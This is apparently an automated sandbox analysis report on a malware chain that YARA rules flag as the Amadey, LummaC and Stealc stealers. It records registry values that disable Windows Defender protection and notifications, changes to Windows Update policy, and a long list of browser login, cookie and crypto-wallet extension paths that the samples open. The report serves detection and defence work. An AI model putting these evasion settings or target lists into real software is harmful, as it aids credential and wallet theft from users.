Source: fb9fc5d370.exe, 0000000F.00000002.3104615180.0000000000482000.00000002.00000001.01000000.00000011.sdmp, fb9fc5d370.exe, 00000025.00000002.3269908676.0000000000482000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: B7KMZCE66VGDP83M16.exe, B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804092829.0000000000918000.00000040.00000001.01000000.0000000B.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3315588329.00000000009B8000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2637423157.0000000000D61000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: 2Program Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001105001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001105001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 3f779c1cca.exe, 0000000B.00000003.2977879833.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2978718141.000000000122A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017748117.000000000122B000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2998700446.000000000122C000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2999066594.000000000122B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 5.2.skotes.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.QZRNZLINJW4FDHW89WOCWU0IJ.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.DBQJ2COS8NEE0DVFAHC8.exe.a60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2596824041.0000000005350000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2637269874.0000000000B71000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3136703502.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2596347151.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2564936700.0000000005040000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2637220274.0000000000B71000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3190167953.0000000000A61000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2728686776.0000000005370000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2606287990.0000000000B11000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000000F.00000003.3103917580.000000000109F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3268917085.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fb9fc5d370.exe PID: 1732, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fb9fc5d370.exe PID: 2580, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3f779c1cca.exe PID: 6836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3f779c1cca.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 31.2.num.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.num.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.994a9a760e.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.B7KMZCE66VGDP83M16.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.5d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.994a9a760e.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.2763572161.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3314353221.00000000005D1000.00000040.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3125229044.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3179696376.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3227402692.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2963698555.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3125212572.0000000000FD1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.3094487881.0000000000FD1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3021034052.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3117634363.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2804824031.000000000127E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3226332079.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2803875794.0000000000531000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3322729341.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: B7KMZCE66VGDP83M16.exe PID: 4440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 994a9a760e.exe PID: 4024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 4948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 994a9a760e.exe PID: 5692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe PID: 1444, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: llets/Electrum-LTC
Source: file.exe	String found in binary or memory: s/ElectronCash
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: 3f779c1cca.exe, 0000000E.00000003.3160548114.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 3f779c1cca.exe, 0000000B.00000003.2926177602.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: 3f779c1cca.exe, 0000000E.00000003.3173752063.0000000005213000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "%appdata%\\Ethereum","m
Source: 3f779c1cca.exe, 0000000B.00000003.2963743388.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2270739006.00000000016A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
